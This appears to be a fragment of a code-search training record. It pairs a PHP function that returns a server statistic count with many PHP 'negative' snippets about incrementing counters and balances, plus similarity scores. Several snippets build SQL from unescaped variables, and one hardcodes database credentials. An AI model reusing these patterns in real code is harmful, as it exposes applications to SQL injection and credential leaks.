$this->_sql->bindValue(1, $name, \\PDO::PARAM_STR);\n $this->_sql->execute();\n }", "public static function increment()\n {\n self::$id++;\n }", "public function addExpense($amount)\n {\n $account = Account::findOne([\n 'username' => $this->getCurrentUser()->username,\n ]);\n\n $account->balance -= $amount;\n\n $account->update(true, ['balance']);\n }", "function update($units, $total){}", "public function incrementEarnings($value) {\n $this->earnings = ($this->earnings + $value);\n }", "public function increment($key, $value = 1)\n {\n $data = $this->getData($key);\n $result = intval($data['data']) + $value;\n $this->set($key, $result, $data['time']);\n\n return $result;\n }", "public function increment($key, $value = 1)\n {\n return $this->memcache->increment($this->prefix.$key, $value);\n }", "function setScore($amount = 0)\n\t{\n\t\treturn $this->score += $amount;\n\t}", "public function incrementUserUpkeep($upkeepAmount) {\n\t\t$this->upkeep += $upkeepAmount;\n\t\tConnectionFactory::updateTableRowAbsoluteBasic(\"users\",array('upkeep' => $this->upkeep),array('id' => $this->id));\n\t}", "public function increment($var,$version)\n {\n $this->redis->set($var,$version);\n }", "public function incrementKey( $key )\n {\n /** @var $client \\Memcached */\n $client = $this->getClient();\n $client->increment( $key );\n }", "private function updateUnitCount(){\n $units = $this->currentUnits + $this->requestedUnits;\n error_log(\"Updated Unit Count: \" . $units);\n try {\n $stmt = $this->dbh->prepare(\"UPDATE `Locations`\n SET AccUnits = :units\n WHERE P_Id = :id\");\n $stmt->bindParam(\":units\", $units);\n $stmt->bindParam(\":id\",$this->accId);\n $stmt->execute();\n } catch (Exception $e) {\n error_log(\"Error: \" . $e->getMessage());\n }\n }", "public function increment($key, $value = 1)\n {\n $raw = $this->getPayload($key);\n\n return tap(((int) $raw['data']) + $value, function ($newValue) use ($key, $raw) {\n $this->put($key, $newValue, $raw['time'] ?? 0);\n });\n }", "public function incrementRemindersSent()\n {\n $this->reminders_sent = $this->reminders_sent + 1;\n $this->save();\n }", "public function incrementDirectEntriesCount()\n\t{\n\t\t$this->setDirectEntriesCount($this->getDirectEntriesCount() + 1); \n\t}", "public function updatePositiveCount() {\n\n\t}", "public function incrIdUnit($increment) {\n $this->setIdUnit($this->getIdUnit() + $increment);\n }", "public function send(string $address, int $amount)\n {\n }", "public function increment($column, $amount = 1, array $extra = array(), array $options = array())\n {\n $query = array('$inc' => array($column => $amount));\n\n if ( ! empty($extra))\n {\n $query['$set'] = $extra;\n }\n\n // Protect\n $this->where(function($query) use ($column)\n {\n $query->where($column, 'exists', false);\n\n $query->orWhereNotNull($column);\n });\n\n return $this->performUpdate($query, $options);\n }", "function increase($num): void {\n $num +=2;\n}", "public function increment($column, $amount = 1, array $extra = array(), array $options = array()) {\n $query = array('$inc' => array($column => $amount));\n\n if (!empty($extra)) {\n $query['$set'] = $extra;\n }\n\n // Protect\n $this->where(function($query) use ($column) {\n $query->where($column, 'exists', false);\n\n $query->orWhereNotNull($column);\n });\n\n return $this->performUpdate($query, $options);\n }", "public function incActualCalls() {\n $this->actualCalls+= 1;\n }", "function increaseVcodeCount($userid)\r\n\t{\r\n\t\t$userid = funcs::check_input($userid);\r\n\r\n\t\t$sql = \"UPDATE \".TABLE_MEMBER.\" SET vcode_count = vcode_count+1 WHERE id = '\".$userid.\"'\";\r\n\t\tDBconnect::execute($sql);\r\n\t}", "public function increment(LaramoreModel $model, $value, $increment=1);", "public function increaseAmount(int $customerId, float $amount, DateTimeInterface $version): void\n\t{\n\t\ttry {\n\t\t\t/** @var Customer $customer */\n\t\t\t$customer = $this->entityManager->find(Customer::class, $customerId, LockMode::OPTIMISTIC, $version);\n\n\t\t\t$balance = bcadd($amount, $customer->getBalance(), 2);\n\n\t\t\t$this->entityManager->persist($customer->setBalance($balance));\n\t\t} catch (OptimisticLockException $e) {\n\t\t\tthrow new Exception(\"The amount has been modified since the last read\");\n\t\t}\n\t}", "function increaseNbLivesTakenByPlayers($teamId, $nbLives){\r\n //$GLOBALS['link'] = connect();\r\n mysqli_query($GLOBALS['link'], 'update teams set `nbLivesTakenByPlayers`=`nbLivesTakenByPlayers`+'. $nbLives .' where `id`='. $teamId .';');\r\n\r\n return mysqli_affected_rows($GLOBALS['link']);\r\n}", "public function incrementScore($amount)\n {\n if (is_numeric($amount)) {\n $this->score += $amount;\n\n return;\n }\n\n throw new InternalErrorException('Invalid, non-numeric score increment: ' . $amount);\n }", "function addToAccountBalance($username,$soldValue,$stockTicker)\n{\n \n $mysql_server = '192.168.1.101';\n \n $mysqli = new mysqli($mysql_server, \"badgers\", \"honey\", \"user_info\");\n \n $findBalQry = \"SELECT * FROM bank WHERE username='$username'\";\n $findBalResult = $mysqli->query($findBalQry);\n \n $oldBalance = 0;\n \n if($findBalResult->num_rows > 0){\n while ($row = $findBalResult->fetch_assoc()){\n \n $oldBalance = $row['balance'];\n }\n }\n $newBalance = $oldBalance + $soldValue;\n \n $UpdateQry = \"UPDATE bank SET balance='$newBalance' where username='$username'\";\n $result = $mysqli->query($UpdateQry);\n \n //Print Values for Tests\n //var_dump($oldBalance);\n //var_dump($newBalance);\n \n}", "public function incrementWalletBalanceBy(Deposit $deposit, $amount) : void\n {\n DB::transaction(function () use ($deposit, $amount) {\n $deposit->wallet->increment('balance', $amount);\n });\n }", "public function increment() {\r\n\t\t$_SESSION['count']++;\r\n\treturn $_SESSION['count'];\r\n\t}", "public function add(float $amount)\n {\n $this->balance += $amount;\n }", "public function saleInc($login){\n $this->usrIncrementor(\"sales\", $login);\n }", "public function incViewCount()\n {\n $incView = (int) $this->attribute( 'view_count' );\n $incView++;\n $this->setAttribute( 'view_count', $incView );\n $this->store();\n }", "protected function registerProgress(string $player, $value, $sub = \"\") : void{\n\t\tif(!isset($this->data[$player])){\n\t\t\t$this->data[$player] = 0;\n\t\t}\n\t\t$this->data[$player] += $value;\n\t}", "protected function countPassengersCash($line, $amount)\n\t{\n\t\t$line = intval($line);\n\t\t$amount = intval($amount);\n\t\tif(array_key_exists($line, $this->amountCash))\n\t\t{\n\t\t\t$this->amountCash[$line] = $this->amountCash[$line] + $amount;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->amountCash[$line] = $amount;\n\t\t}\n\t}", "function db_increase_name_num($name, $sex, $db)\n{ \n //echo \"Inside db_increase_name_num. \";\n if($sex == \"M\") //Updates the num of a name from the database's boy site's table if a name M was passed.\n {\n $updateNum = 'UPDATE `SITE_BABYNAMES_BOY`' . PHP_EOL \n . ' SET num=`num`+1 '. PHP_EOL \n . ' WHERE name=\\''.$name.'\\';'; \n $db->query($updateNum); \n }\n else //Updates the num of a name from the database's girl site's table if a name F was passed.\n {\n $updateNum = 'UPDATE `SITE_BABYNAMES_GIRL`' . PHP_EOL \n . ' SET num=`num`+1 '. PHP_EOL \n . ' WHERE name=\\''.$name.'\\';'; \n $db->query($updateNum); \n } \n}", "public function incrStat($role_id, $field, $value=1) {\n $rds = $this->_di->getShared('redis');\n $key = sprintf(self::$USER_STAT_KEY, $role_id);\n $rds->hincrBy($key, \"$field\", $value);\n }", "function blightCountUp()\n{\n\t$db = blightDB();\n\t$sessid = GWF_Session::getSession()->getID();\n\t$query = \"UPDATE blight SET attemp=attemp+1 WHERE sessid=$sessid\";\n\treturn $db->queryWrite($query);\n}", "public function increment(string $key, int $value = 1)\n {\n return $this->getAdapter()->incrBy($key, $value);\n }", "public function increase()\n {\n $reservedIds = [];\n if ($this->reserved !== null) {\n $reservedIds = explode(',', $this->reserved);\n }\n $this->next++;\n while (in_array($this->next, $reservedIds)) {\n $this->next++;\n }\n $this->save();\n }", "public function incrPrice($increment) {\n $this->setPrice($this->getPrice() + $increment);\n }", "public function setCountHosts(?int $value): void {\n $this->getBackingStore()->set('countHosts', $value);\n }", "public function increase_counters($time, $distance) {\r\n $this->time += $time;\r\n $this->distance += $distance;\r\n $this->capacity += 1;\r\n }", "public function increment($column, $amount = 1, array $extra = [], array $options = [])\n {\n //TODO: implement a way to do it with Doctrine\n throw new \\Exception('Not implemented.');\n }", "public function onStats(TransferStats $stats): void\n {\n }", "public function allocate(int $amount = 1): int {\n assert($amount >= 0);\n $this->last += $amount;\n return $this->last;\n }", "function deposit($amount) {\n $this->balance += $amount;\n }", "public function increase(UpdateSavingsTotalRequest $updateSavingsTotalRequest)\n {\n $amount = $updateSavingsTotalRequest->get('amount');\n\n $savings = Savings::forCurrentUser()->first();\n $savings->increase($amount);\n $savings->save();\n\n return response($savings->amount, Response::HTTP_OK);\n }", "function Give_Gold($amount = 0) {\r\n\t\tglobal $character, $gameinstance;\r\n\t\tif(isset($amount) && is_numeric($amount) && $amount >= 0) \r\n\t\t{\r\n\t\t\tdbn(__FILE__,__LINE__,\"update ${gameinstance}_characters set gold = gold + '$amount' where login_id = '$character[login_id]'\");\r\n\t\t}\r\n\t\telse \r\n\t\t{\r\n\t\t\tSystemMessage(CHAR_CANNOT_GIVE_GOLD);\r\n\t\t}\r\n\t}", "public function incrIdTypeUnit($increment) {\n $this->setIdTypeUnit($this->getIdTypeUnit() + $increment);\n }", "public function incrementVoteCount()\n {\n $this->setVotesCount( $this->getVotesCount() + 1 );\n }", "public function incrementSales() {\n $this->sales = ($this->getSales() + 1);\n }", "function updateUserBalance($user, $sum){\r\n global $pdo;\r\n $stmt = $pdo->prepare('UPDATE users SET UserBalance = UserBalance + :UserBalance WHERE UserID = :UserID');\r\n $stmt->execute(array(':UserBalance' => $sum, ':UserID' => $user));\r\n}", "public function iAddServerHeaderEqualTo(string $name, string $value): void\n {\n $this->getClient()->setServerParameter($name, $value);\n }", "function log_update($type) {\n $this->updates_counter[$type] += 1;\n }" ]
[ "0.66369057", "0.6224725", "0.5941056", "0.5762281", "0.57473993", "0.5723954", "0.5680255", "0.5634881", "0.555101", "0.55410725", "0.5508179", "0.5400829", "0.5377568", "0.5346672", "0.53219146", "0.5282716", "0.5229658", "0.52084774", "0.51877695", "0.51677805", "0.51553446", "0.5146113", "0.5139988", "0.51178133", "0.5098864", "0.50893223", "0.5081011", "0.50613445", "0.5040194", "0.503034", "0.49725816", "0.4969733", "0.49676728", "0.49387622", "0.4896661", "0.48947066", "0.48877007", "0.4878503", "0.48778248", "0.4875837", "0.4864055", "0.48593083", "0.48552042", "0.48422125", "0.4838799", "0.48366573", "0.48148447", "0.47945172", "0.4785117", "0.4772688", "0.47665605", "0.4764263", "0.4758083", "0.4756798", "0.47553834", "0.47552854", "0.4752901", "0.4752336", "0.47447926", "0.47389767", "0.47381982", "0.4734494", "0.4732449", "0.47293243", "0.47288498", "0.4727968", "0.47251418", "0.47216737", "0.47022998", "0.46983933", "0.4697788", "0.46929252", "0.46890682", "0.46878424", "0.46777484", "0.4672556", "0.4670495", "0.46679428", "0.466592", "0.46636912", "0.465989", "0.4656997", "0.46346435", "0.46330366", "0.4631031", "0.4614964", "0.460914", "0.46064377", "0.46008712", "0.4600292", "0.45934373", "0.45893046", "0.4579661", "0.457337", "0.45730966", "0.4562662", "0.45616934", "0.45475328", "0.45445064", "0.4542069" ]
0.5975928
2
Returns the server stat count of the given name.
public static function getStatCount($name, $formatted=false) { if (isset(MHTTPD::$stats[$name])) { return $formatted ? MHTTPD::formatSize(MHTTPD::$stats[$name]) : MHTTPD::$stats[$name]; } return 0; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function countNameservers(): int {}", "public function getServerInfoCount()\n {\n return $this->count(self::_SERVER_INFO);\n }", "public function findServersCount()\r\n {\r\n \t$query = \"select count(*) as count from `servers`\";\r\n \r\n \t$result = $this->DB->fetchColumn($query);\r\n \r\n \treturn $result;\r\n }", "public function getCachedServersCountAttribute(): int\n {\n return Cache::remember($this->cacheKey().':servers_count', 10, function () {\n return $this->servers()->count();\n });\n }", "public static function addStatCount($name, $count)\n\t{\n\t\tif (isset(MHTTPD::$stats[$name])) {\n\t\t\tMHTTPD::$stats[$name] += $count;\n\t\t}\n\t}", "public function getServerCountAttribute()\n {\n return $this->servers->count();\n }", "function getTotalServerCount() {\n\t\t$count = 0;\n\t\tforeach ($this->masterservers as $masterserver) {\n\t\t\tif (isset($masterserver['num_servers_loaded'])) {\n\t\t\t\t$count += $masterserver['num_servers_loaded'];\n\t\t\t} else if (isset($masterserver['num_servers'])) {\n\t\t\t\t$count += $masterserver['num_servers'];\n\t\t\t}\n\t\t}\n\t\treturn $count;\n\t}", "public function getStat($name)\n\t{\n\t\treturn $this->_stat[$name];\n\t}", "public function count()\n {\n return $this->client->count($this->compile())['count'];\n }", "public static function countOccurences($name)\n {\n $session = self::getSession();\n\n if (! isset($session->counts, $session->counts[$name])) {\n $session->counts[$name] = 1;\n } else {\n $session->counts[$name]++;\n }\n }", "function getCount() {\n $this->putCount();\n //opens countlog.data to read the number of hits\n $datei = fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR .\"countlog.data\", \"r\");\n $count = fgets($datei, 1000);\n fclose($datei);\n return $count;\n }", "public function stat()\n\t{\n\t\treturn csscrush_stat(\n\t\t\t$this->get_params('stat_name')\n\t\t);\n\t}", "public function findByNameCount(string $name): int\n {\n $exists = Kalyannaya::select('id')\n ->where('name', '=', $name)\n ->get()\n ->count();\n\n return $exists;\n }", "public function getCachedStatusesCountAttribute(): int\n {\n return Cache::remember($this->cacheKey().':statuses_count', 10, function () {\n return $this->statuses()->count();\n });\n }", "public function getCount() {\n\t\tif ($this->_count === null) {\n\t\t\tif ($this->name === null) {\n\t\t\t\tthrow new Exception(get_class($this).\" requires a name!\");\n\t\t\t}\n\t\t\t$this->_count = $this->getConnection()->getClient()->hlen($this->name);\n\t\t}\n\t\treturn $this->_count;\n\t}", "public function computeCount() {\n $count = 0;\n if (empty($this->httpOptions)) {\n $json = file_get_contents($this->listUrl);\n }\n else {\n $response = drupal_http_request($this->listUrl, $this->httpOptions);\n $json = $response->data;\n }\n if ($json) {\n $data = drupal_json_decode($json);\n if ($data) {\n $count = count($data);\n }\n }\n return $count;\n }", "public function count_inventory( $pBuffer = FALSE )\n\t{\n\t\ttry {\n\t\t\t$invsize = $this->steam_command(\n\t\t\t$this,\n\t\t\t\t\t\"get_size\",\n\t\t\tarray(),\n\t\t\t$pBuffer\n\t\t\t);\n\t\t} catch (steam_exception $e) { //this will happen on e.g. /home; function not allowed for this folder\n\t\t\t$invsize = sizeof($this->get_inventory());\n\t\t}\n\t\treturn $invsize;\n\t}", "public function count (): int {\n return count($this->clients);\n }", "public function count()\n {\n return count($this->_loadedPackets);\n }", "function getSize()\n {\n $this->loadStats();\n return $this->stat['size'];\n }", "public function getCallCount()\n {\n return count($this->data['calls']);\n }", "function count_access($base_path, $name) {\r\n $filename = $base_path . DIRECTORY_SEPARATOR . \"stats.json\";\r\n $stats = json_decode(file_get_contents($filename), true);\r\n $stats[$name][mktime(0, 0, 0)] += 1;\r\n file_put_contents($filename, json_encode($stats, JSON_PRETTY_PRINT));\r\n}", "public function count()\n\t{\n\t\t$content = $this->resource->get($this->name)->getContent();\n\t\t\n\t\treturn $content['doc_count'];\n\t}", "public function getPingCount() {\n return $this->ping_count;\n }", "function talker_stats($statname)\n{\n\tglobal $talker_stats_values;\n\tflush();\n\t$errno = 0;\n\t$errstr = \"\";\n\t$fp = fsockopen($GLOBALS['livehost'], $GLOBALS['liveport'], $errno, $errstr, 5);\n\t$buff = \"\";\n\t$statname_value = \"\";\n\n\tif ($GLOBALS['talker_stats'] == -1)\n\t{\n\t\t// the stats haven't been grabbed on this passthrough, grab them now\n\t\tif (!$fp )\n\t\t{\n\t\t\treturn -1;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfputs($fp, \"stats_info\\n\");\n\t\t\t\n\t\t\twhile (!feof($fp))\n\t\t\t{\n\t\t\t\t$buff .= fgets($fp, 255);\n\t\t\t}\n\t\t\t\n\t\t\t$values = explode(\"ÿù\", $buff);\n\t\t\t$namevalues = explode(\"\\n\",$values[1]);\n\t\t\t\n\t\t\tfor ($i=0;$i<count($namevalues)-1;$i++)\n\t\t\t{\n\t\t\t\tlist($name,$value) = explode(\": \", $namevalues[$i]);\n\t\t\t\tif (strlen($name) > 1)\n\t\t\t\t{\n\t\t\t\t\t$talker_stats_values[$name] = $value;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// set the talker_stats array status to true\n\t\t\t$GLOBALS['talker_stats'] = true;\n\t\t\t// return the originally requested stat\n\t\t\treturn $talker_stats_values[$statname];\n\t\t\tfclose($fp);\n\t\t}\n\t}\n\telse\n\t{\n\t\t// the stats already exist, return the associated value for the name\n\t\treturn $talker_stats_values[$statname];\n\t}\n}", "function PKG_countPackages($clientName)\n{\n\tCHECK_FW(CC_clientname, $clientName);\n\t$sql = \"SELECT COUNT(*) FROM `clientpackages` WHERE clientname='$clientName'\";\n\t$clientpackages = db_query($sql); //FW ok\n\t$counted_clientpackages = mysql_fetch_row( $clientpackages );\n\n\treturn($counted_clientpackages[0]);\n}", "public function count()\n {\n if (array_key_exists('count', $this->information))\n $totalCount = $this->information['count'];\n else\n $totalCount = 0;\n if ($this->limit < $totalCount)\n return $this->limit;\n else\n return $totalCount;\n }", "public static function get(string $stat): int\n {\n return (int)Resque::redis()->get(\"stat:$stat\");\n }", "public function count(): int\n {\n return count($this->pool);\n }", "public function getSize()\n {\n return $this->getStat('size');\n }", "public function count() {\n\t\t\treturn (int)$this->count;\n\t\t}", "public function getCount()\n\t{\n\t\t$res = $this->pdo->queryOneRow('SELECT COUNT(id) AS num FROM xxxinfo');\n\t\treturn ($res === false ? 0 : $res['num']);\n\t}", "public function count()\n {\n return count($this->requests);\n }", "public static function getName(): string\n {\n return 'net_peerCount';\n }", "public function getCountVirus() {\n\t\treturn $this->getCount('VIRUSES', 'name');\n\t}", "public function getMemberCount() {\r\n if(is_null($this->cached_member_count )) {\r\n $this->reloadMemberCount();\r\n }\r\n return $this->cached_member_count;\r\n }", "public function getSize()\n {\n return $this->fstat()[\"size\"];\n }", "public function getResCount()\n {\n return $this->count(self::RES);\n }", "public function count()\n {\n return count($this->_cache);\n }", "static public function PlayerCount() {\n\t\tif (self::$serverstatus == 1) {\n\t\t\tself::$playercount = 0;\n\t\t\treturn null;\n\t\t}\n\n\t\t$db = &Database::getPostgreSQL('illarionserver');\n\t\t$db->setQuery('SELECT COUNT(*) FROM onlineplayer', 0, 1);\n\t\tself::$playercount = $db->loadResult();\n\t\treturn null;\n\t}", "public function GetServerStatus()\r\n {\r\n $this->checkDatabaseManager();\r\n return $this->_DatabaseHandler->stat();\r\n }", "function getSiteCount()\n\t\t{\n\t\t\tglobal $CFG;\n\t\t\tglobal $objSmarty;\n\t\t\t$sql_qry = \"SELECT count(theme_id) as site_count FROM \".$CFG['table']['domaindetails'].\" WHERE theme_id != '0'\";\n\t\t \t$res_qry = $this->ExecuteQuery($sql_qry,'select');\n\t\t \treturn $res_qry[0]['site_count'];\n\t\t}", "public function count()\n {\n $builder = $this->getCountQuery();\n $result = $builder->get();\n\n if (!empty($this->groups)) {\n return count($result);\n } else {\n return $result[0]['count'] ?? 0;\n }\n }", "public function getSize()\n {\n $size = null;\n\n if ($this->stream) {\n $stats = fstat($this->stream);\n $size = $stats['size'];\n }\n\n return $size;\n }", "public function iN_TotalVerificationRequests() {\n\t\t$q = mysqli_query($this->db, \"SELECT COUNT(*) AS verificationCount FROM i_verification_requests WHERE request_status = '0'\") or die(mysqli_error($this->db));\n\t\t$row = mysqli_fetch_array($q, MYSQLI_ASSOC);\n\t\tif ($row) {\n\t\t\treturn isset($row['verificationCount']) ? $row['verificationCount'] : '0';\n\t\t} else {return 0;}\n\t}", "public function getStats()\n\t{\n\t\treturn $this->_stat;\n\t}", "public function count(): int\n {\n return $this->_count;\n }", "public function count(): int\n {\n return count($this->_responses);\n }", "public function size()\n\t{\n\t\t$this->init();\n\t\treturn shmop_size($this->shmId);\n\t}", "public function getSize()\n {\n if ($this->isWrapped() || $this->isTemp()) {\n $wrapper_info = $this->getWrapperInfo();\n\n if (!in_array($wrapper_info['protocol'], static::$stat_able_protocols)) {\n return strlen($this->getRaw());\n }\n }\n\n // Just call our parent, otherwise\n return parent::getSize();\n }", "public static function getMonitorCount() : int {}", "public function count() : int\n {\n return count($this->entries);\n }", "function getStats($name)\n\t{\n\t\t$pdo = db_connect(); \n\n\t\t$stmt = $pdo->prepare(\"SELECT AVG(progress) FROM progress_Table WHERE class_id = (\n\t\t\t\t\t\t\t\t\tSELECT class_id FROM class_Table WHERE owner_id = (\n\t\t\t\t\t\t\t\t\t\tSELECT userID FROM user_Table WHERE username = '$name'))\");\t\n\t\t$stmt->execute();\n\t\t$arr = $stmt->fetchAll(PDO::FETCH_ASSOC);\n\n\t\t$var = $arr[0]['AVG(progress)'];\n\t\t\n\t\tif(($stmt->rowCount())>0){\n\t\t\t//results found\n\t\t\treturn $var; \n\t\t} \n\t\telse {\n\t\t\t//user doesnt exist\n\t\t\treturn 0;\n\t\t}\t\n\t}", "public function count(){\n $query = \"SELECT COUNT(*) as total_rows FROM \".$this->table_name. \"\";\n\n $stmt = $this->conn->prepare($query);\n $stmt->execute();\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n\n return $row['total_rows'];\n }", "public function getGuildMemberCount()\n {\n return $this->count(self::_GUILD_MEMBER);\n }", "public function getCount()\n {\n return $this->sync->getCount();\n }", "public function getconnectioncount()\n\t{\n\t\treturn $this->connect('getconnectioncount');\n\t}", "function get_array_count( $name ){\n $settings = $this->get_settings();\n $name_len = mb_strlen($name);\n $cnt = 0;\n\n reset($settings);\n foreach( $settings as $key => $val ){\n if( substr($key, 0, $name_len) === $name ){\n ++$cnt;\n }\n }\n return $cnt;\n }", "public function count()\n {\n $query = \"SELECT COUNT(*) as total_rows FROM \" . $this->table_name . \"\";\n \n $stmt = $this->conn->prepare( $query );\n $stmt->execute();\n $row = $stmt->fetch(PDO::FETCH_ASSOC);\n \n return $row['total_rows'];\n }", "static public function getPlayerCount() {\n\t\treturn (int)self::$playercount;\n\t}", "public function get_count()\n\t\t{\n\t\t\treturn $this->files_count;\n\t\t}", "public function getCalls($name)\n {\n $this->assertRecordExists($name);\n\n return count($this->records[$name]);\n }", "public function getSize() {\n\t\t\treturn $this->getStats( 'bytes' );\n\t\t}", "public function receivedCount();", "public function getCount() : int\n {\n return $this->count;\n }", "public function getMemberCnt()\n {\n return $this->get(self::_MEMBER_CNT);\n }", "public function Count() {\n\t\treturn $this->count;\n\t}", "public function count() {\n\t\treturn $this->count;\n\t}", "public function getEntryCount() {}", "public function getServicesCount()\n {\n return $this->count(self::services);\n }", "public function count()\r\n\t{\r\n\t\treturn $this->count;\r\n\t}", "public function count(): int\n {\n return count($this->data);\n }", "public function getSize() {\n\t\t$stat = fstat($this->handle);\n\t\treturn isset($stat['size']) ? $stat['size'] : false;\n\t}", "public function getName()\n\t{\n\t\treturn 'stats';\n\t}", "public function getCount()\n {\n return $this->data['count'];\n }", "public function countSocketBindings(): int\n {\n return count($this->sockets);\n }", "public function getMetric()\n {\n $connection = ssh2_connect($this->addr, $this->port);\n if ($connection === false) {\n return 0;\n }\n if (ssh2_auth_password($connection, $this->login, $this->password) == false) {\n return 0;\n }\n $sftp = ssh2_sftp($connection);\n if ($sftp === false) {\n return 0;\n }\n return 1;\n }", "public function count(): int\n {\n return count($this->channels);\n }", "public function count(){\n\t\t\t$query = \"SELECT COUNT(*) as total_rows FROM \" . $this->table_name . \"\";\n\t\t\n\t\t\t$stmt = $this->conn->prepare( $query );\n\t\t\t$stmt->execute();\n\t\t\t$row = $stmt->fetch(PDO::FETCH_ASSOC);\n\t\t\n\t\t\treturn $row['total_rows'];\n\t\t}", "public static function record_count() {\r\n\t\tglobal $wpdb;\r\n\r\n\t\t$sql = \"SELECT COUNT(*) FROM {$wpdb->prefix}customers\";\r\n\r\n\t\tif ( ! empty( $_REQUEST['s'] ) ) {\r\n\t\t\t$sql .= ' WHERE name LIKE \"%' . esc_sql( $_REQUEST['s'] ) . '%\"' ;\r\n\t\t}\r\n\r\n\t\treturn $wpdb->get_var( $sql );\r\n\t}", "public function count() {\r\n\r\n return $this->total_size;\r\n\r\n }", "public function count()\n\t{\n\t\treturn $this->getCount();\n\t}", "public function count()\n {\n $count = $this->shutterstockQueryResult->count();\n return $count > 1000 ? 1000 : $count ;\n }", "public function count()\n {\n return $this->size;\n }", "public function countTotalPlayers()\n {\n $sql = \"SELECT count(*) FROM `users`\";\n $result = $this->pdo->prepare($sql);\n $result->execute();\n // store the number of rows in a variable\n $number_of_rows = $result->fetchColumn(); \n return $number_of_rows;\n }", "public function getCallCount()\n {\n return count($this->getMessages());\n }", "public function count(): int\n {\n return \\count($this->container);\n }", "public function count()\n {\n return $this->count;\n }", "public function count()\n {\n return $this->count;\n }", "public function count()\n {\n return $this->count;\n }", "public function count()\n {\n return $this->count;\n }", "public function count()\n {\n return $this->count;\n }", "public function count()\n {\n return $this->getCount();\n }", "public function count() {\n\t\treturn $this->_count;\n\t}", "public function updateCount() {\n $query = $this->connection->select($this->mapTable);\n $query->addExpression('COUNT(*)', 'count');\n $query->condition('needs_update', MigrateMap::STATUS_NEEDS_UPDATE);\n $count = $query->execute()->fetchField();\n return $count;\n }", "public function size() \n {\n $log = FezLog::get();\n $db = DB_API::get();\n\n $sql = \"SELECT count(*) FROM \".$this->_dbtp.\"queue \";\n \n try {\n $res = $db->fetchOne($sql);\n }\n catch(Exception $ex) {\n $log->err($ex);\n return 0;\n }\n return $res;\n }", "private function count()\n\t\t{\n\t\t\t$query = \"\tSELECT count(1) AS 'total'\n\t\t\t\t\t\tFROM\n\t\t\t\t\t\t\t`\".$this->tree_node.\"` `MTN`\n\t\t\t\t\t\tWHERE 1 = 1\n\t\t\t\t\t\t\tAND `MTN`.`application_release`\t= '\".$this->application_release.\"'\n\t\t\t\t\t\";\n\t\t\t$result = $this->link_mt->query($query);\n\n\t\t\t$row = $result->fetch_array(MYSQLI_ASSOC);\t\n\t\t\treturn $row['total'];\t\t\n\t\t}", "public function countDataLengthByServer(\\DateTime $date, Server $server)\n {\n $qb = $this->createQueryBuilder('h')\n ->select('sum(h.dataLength) AS nb')\n ->where('h.date = :date')\n ->setParameter('date', $date)\n ->andWhere('h.server = :server')\n ->setParameter('server', $server)\n ->groupBy('h.date');\n\n $row = $qb->getQuery()->getOneOrNullResult();\n\n if (is_null($row)) {\n return;\n }\n\n return $row['nb'];\n }", "public static function getCount(){\n \t$sql = \"SELECT COUNT(*) as count FROM yy_hospital\";\n \t$res = self::getDb()->query($sql)->fetchAll();\n \t$count = $res[0]['count'];\n \treturn $count;\n }", "public function count() {\n return sizeof(self::$connections);\n }" ]
[ "0.71840847", "0.69439983", "0.6360713", "0.6333928", "0.6242203", "0.62119746", "0.5971724", "0.59704536", "0.58511055", "0.57915604", "0.5768736", "0.57394224", "0.5716797", "0.5703957", "0.56953984", "0.5689674", "0.5650134", "0.55853677", "0.55847144", "0.556826", "0.5515334", "0.5510801", "0.5507672", "0.54881024", "0.5480001", "0.5459555", "0.5451558", "0.54363793", "0.54294026", "0.54243946", "0.5420057", "0.54138714", "0.54085916", "0.53862923", "0.53692883", "0.5368713", "0.53506", "0.5342122", "0.53374034", "0.53252184", "0.531181", "0.5310312", "0.53094023", "0.53034306", "0.5299243", "0.529684", "0.52954626", "0.52860683", "0.5283538", "0.52696675", "0.52685815", "0.5261266", "0.5259139", "0.52571714", "0.5248993", "0.5247409", "0.524146", "0.52407867", "0.52374536", "0.5236537", "0.52303565", "0.52286536", "0.5226309", "0.52194476", "0.52186245", "0.52063334", "0.5203242", "0.5200709", "0.51959115", "0.5195687", "0.51952344", "0.51882845", "0.518445", "0.518187", "0.5181052", "0.5181", "0.51722896", "0.5171933", "0.51718974", "0.5167123", "0.51667863", "0.51550245", "0.5152964", "0.51507664", "0.5146956", "0.51441973", "0.5141013", "0.51359236", "0.51359236", "0.51359236", "0.51359236", "0.51359236", "0.51345414", "0.51324624", "0.5129403", "0.51284057", "0.5127378", "0.51268566", "0.5126159", "0.51258653" ]
0.72159755
0
Converts byte sizes to formatted strings.
public static function formatSize($bytes, $round=1) { $suffix = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); for ($i=0; $bytes > 1024 && isset($suffix[$i+1]); $i++) {$bytes /= 1024;} return round($bytes,$round)." ".$suffix[$i]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function format_bytes ( $size ) {\n\t\tswitch ( $size ) {\n\t\t\tcase $size > 1000000:\n\t\t\t\treturn number_format(ceil($size / 1000000)) . \"mb\";\n\t\t\t\tbreak;\n\t\t\tcase $size > 1000:\n\t\t\t\treturn number_format(ceil($size / 1000)) . \"k\";\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\treturn number_format($size) . \"b\";\n\t\t\t\tbreak;\n\t\t}\n\t}", "function size_format($bytes, $decimals = 0)\n {\n }", "public function getFormattedSize() {\r\n\t\r\n\t $bytes = $this->getSize();\r\n\t\r\n\t if ($bytes >= 1073741824)\r\n\t {\r\n\t\t$bytes = number_format($bytes / 1073741824, 2) . ' GB';\r\n\t }\r\n\t elseif ($bytes >= 1048576)\r\n\t {\r\n\t\t$bytes = number_format($bytes / 1048576, 2) . ' MB';\r\n\t }\r\n\t elseif ($bytes >= 1024)\r\n\t {\r\n\t\t$bytes = number_format($bytes / 1024, 2) . ' KB';\r\n\t }\r\n\t elseif ($bytes > 1)\r\n\t {\r\n\t\t$bytes = $bytes . ' bytes';\r\n\t }\r\n\t elseif ($bytes == 1)\r\n\t {\r\n\t\t$bytes = $bytes . ' byte';\r\n\t }\r\n\t else\r\n\t {\r\n\t\t$bytes = '0 bytes';\r\n\t }\r\n\r\n\t return $bytes;\r\n\t \r\n }", "function formatBytes($size) {\n $units = array(' B', ' KB', ' MB', ' GB', 